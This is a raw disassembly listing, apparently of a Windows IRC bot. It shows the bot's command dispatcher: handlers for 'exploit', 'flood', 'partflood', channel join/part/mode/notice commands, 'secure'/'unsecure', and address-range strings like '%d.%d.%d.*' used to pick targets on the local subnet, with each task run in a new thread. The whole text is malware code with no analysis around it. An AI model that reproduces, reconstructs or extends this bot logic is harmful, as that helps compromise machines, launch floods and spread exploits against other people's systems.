loc_4040D3: ; CODE XREF: .nsp0:00403316j
; .nsp0:0040332Bj
push 27h
call sub_40B256
test eax, eax
pop ecx
jle short loc_404107
cmp [ebp-8], ebx
jnz loc_401D6C
push ebx
push dword ptr [ebp-4]
push offset unk_432830
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
loc_4040FF: ; CODE XREF: .nsp0:00408C47j
add esp, 14h
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_404107: ; CODE XREF: .nsp0:004040DDj
push dword ptr [ebp-88h]
lea eax, [ebp-0B2Ch]
push 80h
push eax
call sub_41C030
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-0B30h], eax
mov eax, [ebp-4]
mov [ebp-0AA4h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-0AA0h], eax
mov [ebp-0AA8h], ebx
jz short loc_404168
push esi
push offset aFull ; "full"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404168
mov dword ptr [ebp-0AA8h], 1
loc_404168: ; CODE XREF: .nsp0:0040414Bj
; .nsp0:0040415Cj
lea eax, [ebp-2C0h]
push offset dword_43280C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 27h
push eax
call sub_40B00E
add esp, 14h
mov [ebp-0AACh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0B30h]
push ebx
push eax
push offset sub_41A174
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0AACh]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4041D6
loc_4041C0: ; CODE XREF: .nsp0:004041D4j
cmp [ebp-0A9Ch], ebx
jnz loc_4095A9
push 32h
call dword_427064 ; Sleep
jmp short loc_4041C0
; ---------------------------------------------------------------------------
loc_4041D6: ; CODE XREF: .nsp0:004041BEj
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C0h]
push offset unk_4327D0
push eax
call sub_41BF36
add esp, 0Ch
jmp loc_4095A9
; ---------------------------------------------------------------------------
loc_4041F6: ; CODE XREF: .nsp0:004032ECj
; .nsp0:00403301j
cmp [ebp-8], ebx
jnz short loc_404215
push ebx
push dword ptr [ebp-4]
push offset dword_4327B4
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_404215: ; CODE XREF: .nsp0:004041F9j
push dword ptr [ebp+0Ch]
call dword_4D1288 ; closesocket
call dword_4D1148 ; WSACleanup
call loc_418B05
push ebx
call dword_427068 ; ExitProcess
loc_404230: ; CODE XREF: .nsp0:004032C2j
; .nsp0:004032D7j
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call sub_41B2E4
pop ecx
pop ecx
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push offset dword_432798
jmp short loc_404288
; ---------------------------------------------------------------------------
loc_40425B: ; CODE XREF: .nsp0:00403298j
; .nsp0:004032ADj
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_41B598
add esp, 0Ch
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push offset dword_43277C
loc_404288: ; CODE XREF: .nsp0:00403FABj
; .nsp0:00404259j
call sub_4157A6
loc_40428D: ; CODE XREF: .nsp0:0040898Fj
add esp, 18h
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_404295: ; CODE XREF: .nsp0:0040326Ej
; .nsp0:00403283j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_415846
jmp loc_401D69
; ---------------------------------------------------------------------------
loc_4042AE: ; CODE XREF: .nsp0:00403244j
; .nsp0:00403259j
cmp [ebp-0Ch], ebx
mov [ebp-1594h], bl
jz short loc_4042ED
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_4042ED
push esi
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042ED
push eax
push offset aS_2 ; "%s"
lea eax, [ebp-1594h]
push 80h
push eax
call sub_41C030
add esp, 10h
loc_4042ED: ; CODE XREF: .nsp0:004042B7j
; .nsp0:004042C2j ...
push dword ptr [ebp-88h]
lea eax, [ebp-1614h]
push 80h
push eax
call sub_41C030
mov eax, [ebp+0Ch]
push offset dword_432764
mov [ebp-1618h], eax
mov eax, [ebp-4]
mov [ebp-1510h], eax
mov eax, [ebp-8]
mov [ebp-150Ch], eax
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 25h
push eax
call sub_40B00E
add esp, 20h
mov [ebp-1514h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1618h]
push ebx
push eax
push offset byte_415887
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1514h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40438D
loc_404377: ; CODE XREF: .nsp0:0040438Bj
cmp [ebp-1508h], ebx
jnz loc_401D6C
push 32h
call dword_427064 ; Sleep
jmp short loc_404377
; ---------------------------------------------------------------------------
loc_40438D: ; CODE XREF: .nsp0:00404375j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43272C
jmp loc_4020B5
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: .nsp0:0040321Aj
; .nsp0:0040322Fj
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_41572E
push offset dword_432714
call sub_4157A6
loc_4043B9: ; CODE XREF: .nsp0:00403F1Bj
add esp, 10h
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_4043C1: ; CODE XREF: .nsp0:004031F0j
; .nsp0:00403205j
push dword ptr [ebp-88h]
lea eax, [ebp-0BC4h]
push 80h
push eax
call sub_41C030
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-0BC8h], eax
mov eax, [ebp-4]
mov [ebp-0B3Ch], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-0B38h], eax
jz short loc_40441B
push offset dword_432710
push esi
call sub_41C710
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-0B40h], eax
jmp short loc_404421
; ---------------------------------------------------------------------------
loc_40441B: ; CODE XREF: .nsp0:004043FFj
mov [ebp-0B40h], ebx
loc_404421: ; CODE XREF: .nsp0:00404419j
lea eax, [ebp-2C0h]
push offset dword_4326F0
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 28h
push eax
call sub_40B00E
add esp, 14h
mov [ebp-0B44h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0BC8h]
push ebx
push eax
push offset byte_40B079
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0B44h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40448F
loc_404479: ; CODE XREF: .nsp0:0040448Dj
cmp [ebp-0B34h], ebx
jnz loc_406C86
push 32h
call dword_427064 ; Sleep
jmp short loc_404479
; ---------------------------------------------------------------------------
loc_40448F: ; CODE XREF: .nsp0:00404477j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4326B4
jmp loc_409199
; ---------------------------------------------------------------------------
loc_4044A0: ; CODE XREF: .nsp0:00403174j
; .nsp0:00403189j
push offset aXxerooxx ; "XxerooxX"
lea eax, [ebp-2C0h]
push offset dword_43269C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 20h
jmp loc_406C86
; ---------------------------------------------------------------------------
loc_4044D7: ; CODE XREF: .nsp0:0040314Aj
; .nsp0:0040315Fj
push dword_4D0F24
call sub_41B12D
push eax
lea eax, [ebp-2C0h]
push offset unk_432670
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 24h
jmp loc_406C86
; ---------------------------------------------------------------------------
loc_404515: ; CODE XREF: .nsp0:00403120j
; .nsp0:00403135j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_404547
cmp [ebp-0Ch], ebx
jz short loc_404556
push esi
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_404556
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
add esp, 0Ch
jmp short loc_404556
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: .nsp0:0040451Ej
push offset aQuitLater ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
pop ecx
pop ecx
loc_404556: ; CODE XREF: .nsp0:00404523j
; .nsp0:00404532j ...
push 0FFFFFFFEh
jmp loc_401D6E
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: .nsp0:004030F6j
; .nsp0:0040310Bj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push offset dword_432620
call sub_4157A6
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401D6F
; ---------------------------------------------------------------------------
loc_40457F: ; CODE XREF: .nsp0:004030CCj
; .nsp0:004030E1j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push offset dword_4325EC
call sub_4157A6
add esp, 0Ch
jmp loc_409724
; ---------------------------------------------------------------------------
loc_40459E: ; CODE XREF: .nsp0:004030A2j
; .nsp0:004030B7j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B6EF
jmp loc_40495D
; ---------------------------------------------------------------------------
loc_4045B4: ; CODE XREF: .nsp0:00403078j
; .nsp0:0040308Dj
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B69B
jmp loc_40495D
; ---------------------------------------------------------------------------
loc_4045CA: ; CODE XREF: .nsp0:0040304Ej
; .nsp0:00403063j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B630
jmp loc_40495D
; ---------------------------------------------------------------------------
loc_4045E0: ; CODE XREF: .nsp0:00403024j
; .nsp0:00403039j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B562
jmp loc_40495D
; ---------------------------------------------------------------------------
loc_4045F6: ; CODE XREF: .nsp0:00402F7Fj
; .nsp0:00402F94j
push dword ptr [ebp+esi-8Ch]
push 27h
push offset dword_4325DC
push offset dword_4325CC
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_40460E: ; CODE XREF: .nsp0:00402F55j
; .nsp0:00402F6Aj
push dword ptr [ebp+esi-8Ch]
push 24h
push offset dword_4325C0
push offset dword_4325B0
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_404626: ; CODE XREF: .nsp0:00402B71j
; .nsp0:00402B86j
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
jz short loc_404645
push edi
call sub_41BE29
test eax, eax
pop ecx
jz short loc_404645
push edi
call sub_41BE29
pop ecx
jmp short loc_40464A
; ---------------------------------------------------------------------------
loc_404645: ; CODE XREF: .nsp0:0040462Fj
; .nsp0:0040463Aj
mov eax, dword_42907C
loc_40464A: ; CODE XREF: .nsp0:00404643j
mov esi, [ebp+esi-88h]
mov [ebp-590h], eax
cmp esi, ebx
jz short loc_40466F
push esi
loc_40465C: ; CODE XREF: .nsp0:0040467Ej
lea eax, [ebp-5A0h]
push 10h
push eax
call sub_41C030
add esp, 0Ch
jmp short loc_404686
; ---------------------------------------------------------------------------
loc_40466F: ; CODE XREF: .nsp0:00404659j
cmp [ebp-8FFh], bl
jz short loc_404680
lea eax, [ebp-0C0h]
push eax
jmp short loc_40465C
; ---------------------------------------------------------------------------
loc_404680: ; CODE XREF: .nsp0:00404675j
mov [ebp-5A0h], bl
loc_404686: ; CODE XREF: .nsp0:0040466Dj
mov eax, [ebp-4]
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
mov [ebp-584h], eax
mov eax, [ebp-8]
push 80h
mov [ebp-580h], eax
lea eax, [ebp-620h]
push eax
mov [ebp-624h], esi
call sub_41C030
add esp, 0Ch
push dword ptr [ebp-590h]
push esi
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset dword_432588
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 19h
push eax
call sub_40B00E
add esp, 1Ch
mov [ebp-58Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-624h]
push ebx
push eax
push offset loc_4117CF
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-58Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_404737
loc_404721: ; CODE XREF: .nsp0:00404735j
cmp [ebp-57Ch], ebx
jnz loc_401D6C
push 32h
call dword_427064 ; Sleep
jmp short loc_404721
; ---------------------------------------------------------------------------
loc_404737: ; CODE XREF: .nsp0:0040471Fj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_43254C
jmp loc_4020B5
; ---------------------------------------------------------------------------
loc_404748: ; CODE XREF: .nsp0:00402B07j
; .nsp0:00402B1Cj
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_404768
push esi
call sub_41BE29
test ax, ax
pop ecx
jz short loc_404768
push esi
call sub_41BE29
pop ecx
jmp short loc_40476E
; ---------------------------------------------------------------------------
loc_404768: ; CODE XREF: .nsp0:00404751j
; .nsp0:0040475Dj
mov ax, word_429088
loc_40476E: ; CODE XREF: .nsp0:00404766j
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
mov edi, [ebp-4]
mov [ebp-97Ch], ax
mov eax, [ebp-8]
push 80h
mov [ebp-96Ch], eax
lea eax, [ebp-9FCh]
push eax
mov [ebp-0A00h], esi
mov [ebp-970h], edi
call sub_41C030
movzx eax, word ptr [ebp-97Ch]
add esp, 0Ch
push eax
push esi
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_432520
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push edi
push eax
push dword ptr [ebp-88h]
push esi
call sub_4099D2
push ebx
lea eax, [ebp-2C0h]
push 6
push eax
call sub_40B00E
add esp, 30h
mov [ebp-978h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0A00h]
push ebx
push eax
push offset word_40ECDA
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-978h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40483D
loc_404827: ; CODE XREF: .nsp0:0040483Bj
cmp [ebp-968h], ebx
jnz loc_401D6C
push 32h
call dword_427064 ; Sleep
jmp short loc_404827
; ---------------------------------------------------------------------------
loc_40483D: ; CODE XREF: .nsp0:00404825j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4324E0
jmp loc_4020B5
; ---------------------------------------------------------------------------
loc_40484E: ; CODE XREF: .nsp0:00402AB3j
; .nsp0:00402AC8j ...
push edi
push offset aSecure ; "secure"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_404876
push edi
push offset aSec ; "sec"
call sub_41C710
pop ecx
mov [ebp-0A10h], ebx
test eax, eax
pop ecx
jnz short loc_404880
loc_404876: ; CODE XREF: .nsp0:0040485Dj
mov dword ptr [ebp-0A10h], 1
loc_404880: ; CODE XREF: .nsp0:00404874j
push dword ptr [ebp-88h]
lea eax, [ebp-0A94h]
push 80h
push eax
call sub_41C030
mov eax, [ebp+0Ch]
add esp, 0Ch
cmp [ebp-0A10h], ebx
mov [ebp-0A98h], eax
mov eax, [ebp-4]
mov [ebp-0A0Ch], eax
mov eax, [ebp-8]
mov [ebp-0A08h], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4048C7
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4048C7: ; CODE XREF: .nsp0:004048C0j
push eax
push offset dword_4324AC
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
push ebx
lea eax, [ebp-2C0h]
push 22h
push eax
call sub_40B00E
add esp, 1Ch
mov [ebp-0A14h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0A98h]
push ebx
push eax
push offset sub_41A6A2
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0A14h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40493B
loc_404925: ; CODE XREF: .nsp0:00404939j
cmp [ebp-0A04h], ebx
jnz loc_40833C
push 32h
call dword_427064 ; Sleep
jmp short loc_404925
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: .nsp0:00404923j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_432470
jmp loc_40832D
; ---------------------------------------------------------------------------
loc_40494C: ; CODE XREF: .nsp0:00402A89j
; .nsp0:00402A9Ej
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_41AF50
loc_40495D: ; CODE XREF: .nsp0:004045AFj
; .nsp0:004045C5j ...
add esp, 0Ch
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_404965: ; CODE XREF: .nsp0:00402A5Fj
; .nsp0:00402A74j
push offset unk_4323C0
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_40496F: ; CODE XREF: .nsp0:00402A35j
; .nsp0:00402A4Aj
push offset aXxerxx ; "XxerxX"
push offset dword_4323B0
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_40497E: ; CODE XREF: .nsp0:00402A0Bj
; .nsp0:00402A20j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_4049DE
push esi
call sub_41BE29
cmp eax, ebx
pop ecx
jl short loc_4049D3
cmp eax, 1
jge short loc_4049D3
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_4049C8
lea eax, [esi+1]
push eax
lea eax, [ebp-2C0h]
push offset unk_43362C
push eax
call sub_41BF36
add esp, 0Ch
mov [esi], bl
jmp loc_40820E
; ---------------------------------------------------------------------------
loc_4049C8: ; CODE XREF: .nsp0:004049A7j
push eax
push offset unk_432384
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_4049D3: ; CODE XREF: .nsp0:00404992j
; .nsp0:00404997j
push eax
push offset unk_432358
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_4049DE: ; CODE XREF: .nsp0:00404987j
mov edi, [ebp+20h]
xor esi, esi
loc_4049E3: ; CODE XREF: .nsp0:004049FFj
push dword ptr [ebp-90h]
push edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_404A06
inc esi
add edi, 80h
cmp esi, 1
jl short loc_4049E3
jmp loc_40820E
; ---------------------------------------------------------------------------
loc_404A06: ; CODE XREF: .nsp0:004049F3j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C0h]
push eax
push offset unk_43362C
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_404A20: ; CODE XREF: .nsp0:004029E1j
; .nsp0:004029F6j
push dword ptr [ebp-8Ch]
push offset dword_4335A0
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4034A9
call sub_40B1D7
push ebx
call dword_427068 ; ExitProcess
loc_404A46: ; CODE XREF: .nsp0:004034E2j
push offset aGet ; "get"
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_404AEC
cmp dword_4D49A8, ebx
jz short loc_404A72
push offset dword_4D4388
push offset unk_43231C
jmp loc_404AFE
; ---------------------------------------------------------------------------
loc_404A72: ; CODE XREF: .nsp0:00404A61j
push 10h
pop eax
mov [ebp-2D0h], eax
push eax
lea eax, [ebp-2E8h]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-2E8h]
push eax
push dword ptr [ebp+0Ch]
call dword_42722C ; getsockname
movzx eax, byte ptr [ebp-2E2h]
push eax
movzx eax, byte ptr [ebp-2E3h]
push eax
movzx eax, byte ptr [ebp-2E4h]
push eax
lea eax, [ebp-0E30h]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41BF36
lea eax, [ebp-0E30h]
push eax
lea eax, [ebp-2C0h]
push offset unk_43231C
push eax
call sub_41BF36
add esp, 20h
jmp loc_403501
; ---------------------------------------------------------------------------
loc_404AEC: ; CODE XREF: .nsp0:00404A55j
push esi
call dword_4D1230 ; inet_addr
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404B12
push offset unk_4322DC
loc_404AFE: ; CODE XREF: .nsp0:00404A6Dj
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
jmp loc_403501
; ---------------------------------------------------------------------------
loc_404B12: ; CODE XREF: .nsp0:00404AF7j
push offset dword_4D4388
call sub_41C550
push esi
lea eax, [ebp-2C0h]
push offset unk_4322B0
push eax
mov dword_4D49A8, 1
call sub_41BF36
add esp, 14h
jmp loc_403501
; ---------------------------------------------------------------------------
loc_404B40: ; CODE XREF: .nsp0:004034CAj
push edi
push offset aExploit ; "exploit"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_404C3A
mov eax, [ebp-4]
mov esi, offset aO1_0 ; "#o1"
mov [ebp-13E4h], eax
mov eax, [ebp-8]
mov [ebp-13E0h], eax
mov eax, [ebp+0Ch]
mov [ebp-13F4h], eax
mov edi, 80h
push esi
lea eax, [ebp-1474h]
push edi
push eax
mov dword ptr [ebp-13ECh], 1
call sub_41C030
push esi
lea eax, [ebp-14F4h]
push edi
push eax
call sub_41C030
push dword ptr [ebp+18h]
lea eax, [ebp-1504h]
push 10h
push eax
call sub_41C030
lea eax, [ebp-1504h]
push eax
lea eax, [ebp-2C0h]
push offset unk_432278
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 8
push eax
call sub_40B00E
add esp, 3Ch
mov [ebp-13E8h], eax
lea eax, [ebp-2FCh]
push eax
lea eax, [ebp-1504h]
push ebx
push eax
push offset byte_40B7B5
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-13E8h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_404C29
loc_404C13: ; CODE XREF: .nsp0:00404C27j
cmp [ebp-13DCh], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_404C13
; ---------------------------------------------------------------------------
loc_404C29: ; CODE XREF: .nsp0:00404C11j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_432238
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_404C3A: ; CODE XREF: .nsp0:00404B4Fj
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40972B
push edi
push offset aRin ; "rin"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40972B
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4096E5
push edi
push offset aRinms ; "rinms"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4096E5
push dword ptr [ebp+10h]
push offset aFlood ; "flood"
call sub_41C710
mov edi, dword_427064
pop ecx
test eax, eax
pop ecx
jnz loc_4057F6
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
push dword ptr [ebp+18h]
push offset aLoad ; "load"
call sub_41C710
add esp, 0Ch
test eax, eax
jnz short loc_404D3D
cmp [ebp+esi-80h], ebx
jz short loc_404D3D
push dword ptr [ebp+esi-80h]
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+esi-84h]
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+esi-88h]
call sub_418065
push dword ptr [ebp+esi-84h]
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+esi-80h]
push offset unk_4321D8
push eax
call sub_41BF36
add esp, 20h
cmp [ebp-8], ebx
jnz short loc_404D3D
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_404D3D: ; CODE XREF: .nsp0:00404CC9j
; .nsp0:00404CCFj ...
push dword ptr [ebp+18h]
push offset dword_4321D4
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404DA6
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404DA6
push offset asc_43368C ; " "
push offset dword_4321D0
push eax
call sub_41869A
push eax
lea eax, [ebp-50F4h]
push eax
call sub_41C550
lea eax, [ebp-50F4h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_4321C0
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 28h
loc_404DA6: ; CODE XREF: .nsp0:00404D4Ej
; .nsp0:00404D59j
push dword ptr [ebp+18h]
push offset dword_4321BC
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404E0F
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404E0F
push offset asc_43368C ; " "
push offset dword_4321D0
push eax
call sub_41869A
push eax
lea eax, [ebp-4BF0h]
push eax
call sub_41C550
lea eax, [ebp-4BF0h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_4321A8
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 28h
loc_404E0F: ; CODE XREF: .nsp0:00404DB7j
; .nsp0:00404DC2j
push dword ptr [ebp+18h]
push offset aNt ; "nt"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404E78
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404E78
push offset asc_43368C ; " "
push offset dword_4321D0
push eax
call sub_41869A
push eax
lea eax, [ebp-46ECh]
push eax
call sub_41C550
lea eax, [ebp-46ECh]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 28h
loc_404E78: ; CODE XREF: .nsp0:00404E20j
; .nsp0:00404E2Bj
push dword ptr [ebp+18h]
push offset aMode ; "mode"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404EE1
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404EE1
push offset asc_43368C ; " "
push offset dword_4321D0
push eax
call sub_41869A
push eax
lea eax, [ebp-4DF0h]
push eax
call sub_41C550
lea eax, [ebp-4DF0h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 28h
loc_404EE1: ; CODE XREF: .nsp0:00404E89j
; .nsp0:00404E94j
push dword ptr [ebp+18h]
push offset aJoin ; "join"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404F20
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz short loc_404F20
push eax
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 10h
loc_404F20: ; CODE XREF: .nsp0:00404EF2j
; .nsp0:00404EFDj
push dword ptr [ebp+18h]
push offset aPart_0 ; "part"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404F5F
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz short loc_404F5F
push eax
lea eax, [ebp-2C0h]
push offset aPartS ; "part %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 10h
loc_404F5F: ; CODE XREF: .nsp0:00404F31j
; .nsp0:00404F3Cj
push dword ptr [ebp+18h]
push offset aPartflood ; "partflood"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_404FA3
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz short loc_404FA3
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp-2C0h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_404FA3: ; CODE XREF: .nsp0:00404F70j
; .nsp0:00404F7Bj
push dword ptr [ebp+18h]
push offset aPnick ; "pnick"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_405018
cmp [ebp+esi-88h], ebx
jz short loc_405018
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
call sub_41BF92
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp-17B4h]
push edx
push dword ptr [ebp+esi-88h]
push offset dword_432140
push eax
call sub_41BF36
lea eax, [ebp-17B4h]
push eax
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
loc_405018: ; CODE XREF: .nsp0:00404FB4j
; .nsp0:00404FBDj
push dword ptr [ebp+18h]
push offset dword_43212C
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40515F
cmp [ebp+esi-88h], ebx
